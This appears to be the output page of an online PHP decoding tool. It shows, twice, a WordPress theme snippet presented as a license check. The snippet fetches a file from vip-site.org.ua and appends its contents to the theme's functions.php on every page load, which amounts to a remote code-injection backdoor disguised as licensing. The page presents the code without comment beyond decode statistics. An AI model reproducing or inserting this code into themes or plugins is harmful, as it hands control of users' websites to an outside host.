Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
add_action('after_setup_theme', 'check_license_file'); function check_license_file() { ..
Decoded Output download
<? add_action('after_setup_theme', 'check_license_file');
function check_license_file() {
$theme_dir = get_template_directory();
$license_file = $theme_dir . '/license.txt';
if (!file_exists($license_file)) {
$license_content = file_get_contents('https://vip-site.org.ua/license-activate.txt');
if ($license_content !== false) {
file_put_contents($license_file, $license_content);
}
}
}
add_action('init', 'check_license_code_in_functions_php');
function check_license_code_in_functions_php() {
$functions_php_content = file_get_contents(__DIR__ . '/functions.php');
$license_code = file_get_contents(__DIR__ . '/license.txt');
if (strpos($functions_php_content, $license_code) === false) {
$functions_php_content .= $license_code;
file_put_contents(__DIR__ . '/functions.php', $functions_php_content);
}
} ?>
Did this file decode correctly?
Original Code
add_action('after_setup_theme', 'check_license_file');
function check_license_file() {
$theme_dir = get_template_directory();
$license_file = $theme_dir . '/license.txt';
if (!file_exists($license_file)) {
$license_content = file_get_contents('https://vip-site.org.ua/license-activate.txt');
if ($license_content !== false) {
file_put_contents($license_file, $license_content);
}
}
}
add_action('init', 'check_license_code_in_functions_php');
function check_license_code_in_functions_php() {
$functions_php_content = file_get_contents(__DIR__ . '/functions.php');
$license_code = file_get_contents(__DIR__ . '/license.txt');
if (strpos($functions_php_content, $license_code) === false) {
$functions_php_content .= $license_code;
file_put_contents(__DIR__ . '/functions.php', $functions_php_content);
}
}
Function Calls
add_action | 1 |
Stats
MD5 | 1df18dea998f09ed96519a09a163b7ca |
Eval Count | 0 |
Decode Time | 61 ms |